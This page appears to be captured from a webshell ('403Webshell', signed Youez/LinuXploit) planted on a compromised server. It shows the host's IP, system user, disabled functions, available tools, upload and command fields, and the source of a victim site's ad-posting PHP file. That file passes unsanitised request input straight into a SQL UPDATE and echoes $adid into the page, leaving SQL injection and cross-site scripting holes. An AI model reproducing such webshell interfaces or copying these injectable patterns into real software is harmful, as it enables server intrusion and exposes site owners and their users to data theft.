403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.135.190.163
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/members/postad2a.html
<? 
ini_set("memory_limit", "200000000"); 
// prevent cache
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache");
header("Pragma: no-cache");

include_once('../connect.php'); 
include 'accesscontrol.php';
// css for menu
$styleSubmit = 'color:#ff6131;background-color:#fff;border-top:1px solid #c9c9c9;font-weight:bold;';
$adid=$_GET['adid'];
// check if advert beleongs to members
if(advert_check($adid,$memberid)===false){header('Location: index.html');exit();}
if(isset($_POST['submit'])){


	$description=$_POST['description'];
	$services=$_POST['services'];
	$refund=$_POST['refund'];
	$establishment=$_POST['establishment'];	
	$areas_cover=$_POST['areas_cover'];	
	
	
	$fieldname = 'image_upload_box';
	if(is_uploaded_file($_FILES[$fieldname]['tmp_name'])){
		// function parameter variables
		$fieldname = 'image_upload_box';
		$image_temp = $_FILES[$fieldname]["tmp_name"];
		$allowed_ext = array('jpeg','jpg','png','gif');
		$image_ext = strtolower(end(explode('.', $_FILES[$fieldname]['name'])));
		$destination = 'uploads/logo/';
		$image_file = $adid.'.'.$image_ext;
		if (in_array($image_ext, $allowed_ext) === false) {$errors[] = '<div class="error_list">- Your photo must be either a JPG, PNG or GIF file format. Other file types are not allowed.</div>';}
		if($_FILES[$fieldname]["size"] > 4000000){$errors[]='<div class="error_list">- Image file size must be less than 4 MB.</div>';}

		if(empty($errors)){
			include "img_upload.class.php";
			$image = new UploadImage();
			$image->load($image_temp);
			$image->resizeToWidthMaxHeight(300,150);
			$image->save($destination.$image_file);
			// sql code to insert new logo name
			$imageExist=", image = '{$image_file}'";
		}else{
			$error = TRUE;
		}
	}
	
	mysql_query("UPDATE ads SET 
			description='$description',
			refund='$refund',
			establishment='$establishment',
			services_offered='$services',
			areas_cover='$areas_cover'
			{$imageExist}
			WHERE `adid` = '$adid' AND `memberid` = '{$memberid}'");
	if($error!=TRUE){header('Location: postad3.html?adid='.$adid);}
}

?>
<!DOCTYPE html>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>YellowLeaf UK</title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language="javascript">

function CheckPostAd(){
 if(document.RegForm.description.value==""){
  window.alert('Please enter your business description.');
  document.RegForm.description.focus();
  return false;
 } 
 if(document.RegForm.services.value==""){
  window.alert('Please enter the services that your business offers.');
  document.RegForm.services.focus();
  return false;
 }
  if(document.RegForm.areas_cover.value==""){
  window.alert('Please enter the areas that your business covers.');
  document.RegForm.areas_cover.focus();
  return false;
 }
 if(document.RegForm.establishment.value==""){
  window.alert('Please enter your business establishment.');
  document.RegForm.establishment.focus();
  return false;
 }
}
var current_element=10;
</script>
<script src="js/add_service.js"></script>
</head>

<body>

<? include 'header.php'; ?>
<table class="tbwdth">
	<tr>
		<td valign="top" style="width:210px;">
		<? include 'member_menu.php'; ?>
		</td>
		<td valign="top" class="cnGrad">
		<div class="cnHead">Submit Advert</div>
		<div style="position:relative;margin-bottom:70px">
		<hr class="stpBar" noshade size="1" color="#cccccc">
		<img class="nav stepflat1 subPos1" src="/img/img_trans.gif" width="1" height="1" />
		<img class="nav sel2 subPos2" src="/img/img_trans.gif" width="1" height="1" />
		<img class="nav stepflat3 subPos3" src="/img/img_trans.gif" width="1" height="1" />
		<img class="nav stepflat4 subPos4" src="/img/img_trans.gif" width="1" height="1" />
		<img class="nav stepflat5 subPos5" src="/img/img_trans.gif" width="1" height="1" />
		<img class="nav stepflat7 subPos7" src="/img/img_trans.gif" width="1" height="1" />
		</div>
		<form  name="RegForm" action="postad2.html?adid=<?=$adid?>" method="POST" enctype="multipart/form-data" onsubmit="return CheckPostAd();" autocomplete="off">
			<table class="cnTbl" width="100%">
				<tr>
					<td valign="top" class="cnTitle" style="padding-left:25px">Upload logo (optional):<br>
					<div class="cnTitleDesc">Please upload the logo of your business.<br>
					<b>NOTE:</b> Your logo must be in the dimensions of '300 pixels' in width by '150 pixels' in height (300x150).</div>
					<?if($error==TRUE){
							echo '<div class="errorDvBx"><b>ERROR:</b><br>';
							foreach($errors as $error_msg){
								echo $error_msg;
							}
							echo '</div>';
						}?>
					<input name="image_upload_box" class="nostyle" type="file" />
					</td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="cnTitle" style="padding-left:25px" >
					Description For Your Business*:<br>
					<div class="cnTitleDesc">Please enter a brief description 
						about your business. <br>
						<i>(Providing more information will give your more 
						search engine exposure)</i></div>
					<textarea id="description" name="description" rows="8" style="width:590px"></textarea></td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="cnTitle" style="padding-left:25px" >
					Business Facilities & Services*:<br>
					<div class="cnTitleDesc">Please enter the facilities & services that your business provides.<br>
						<i>(Providing more information will give your more 
						search engine exposure)</i></div>
					<textarea id="services" name="services" rows="8" style="width:590px"></textarea></td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="cnTitle" style="padding-left:25px" >
					Guarantees / Refund Policy (optional):<br>
					<div class="cnTitleDesc">Please enter any refund policy that your business 
						may have.</div>
					<textarea id="refund" name="refund" rows="8" style="width:590px"></textarea>
					</td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="cnTitle" style="padding-left:25px" >
					Areas Your Business Covers*:<br>
					<div class="cnTitleDesc">Please provide the locations that your business covers e.g. cities, areas, towns and postcodes.</div>
					<textarea id="areas_cover" name="areas_cover" rows="8" style="width:590px"></textarea></td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td align="left" valign="top" class="cnTitle" style="padding-left:25px" >
					Your Business Establishment*:<br>
					<div class="cnTitleDesc">Please enter a brief description of 
						how long your business has been established.</div>
					<textarea id="establishment" name="establishment" rows="8" style="width:590px"></textarea></td>
				</tr>
				<tr>
					<td>
					<hr noshade color="#C9C9C9" size="1">
					</td>
				</tr>
				<tr>
					<td>
					<span style="font-size:9pt;color:#666;">* mandatory fields that must be filled in.</span>
					</td>
				</tr>
			</table>
			<input class="blueBtn fancyBtn" style="border:0px;float:left;" type="submit" value="Next >" name="submit">
		</form>
		</td>
	</tr>
</table>
<? include 'footer.php'; ?>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit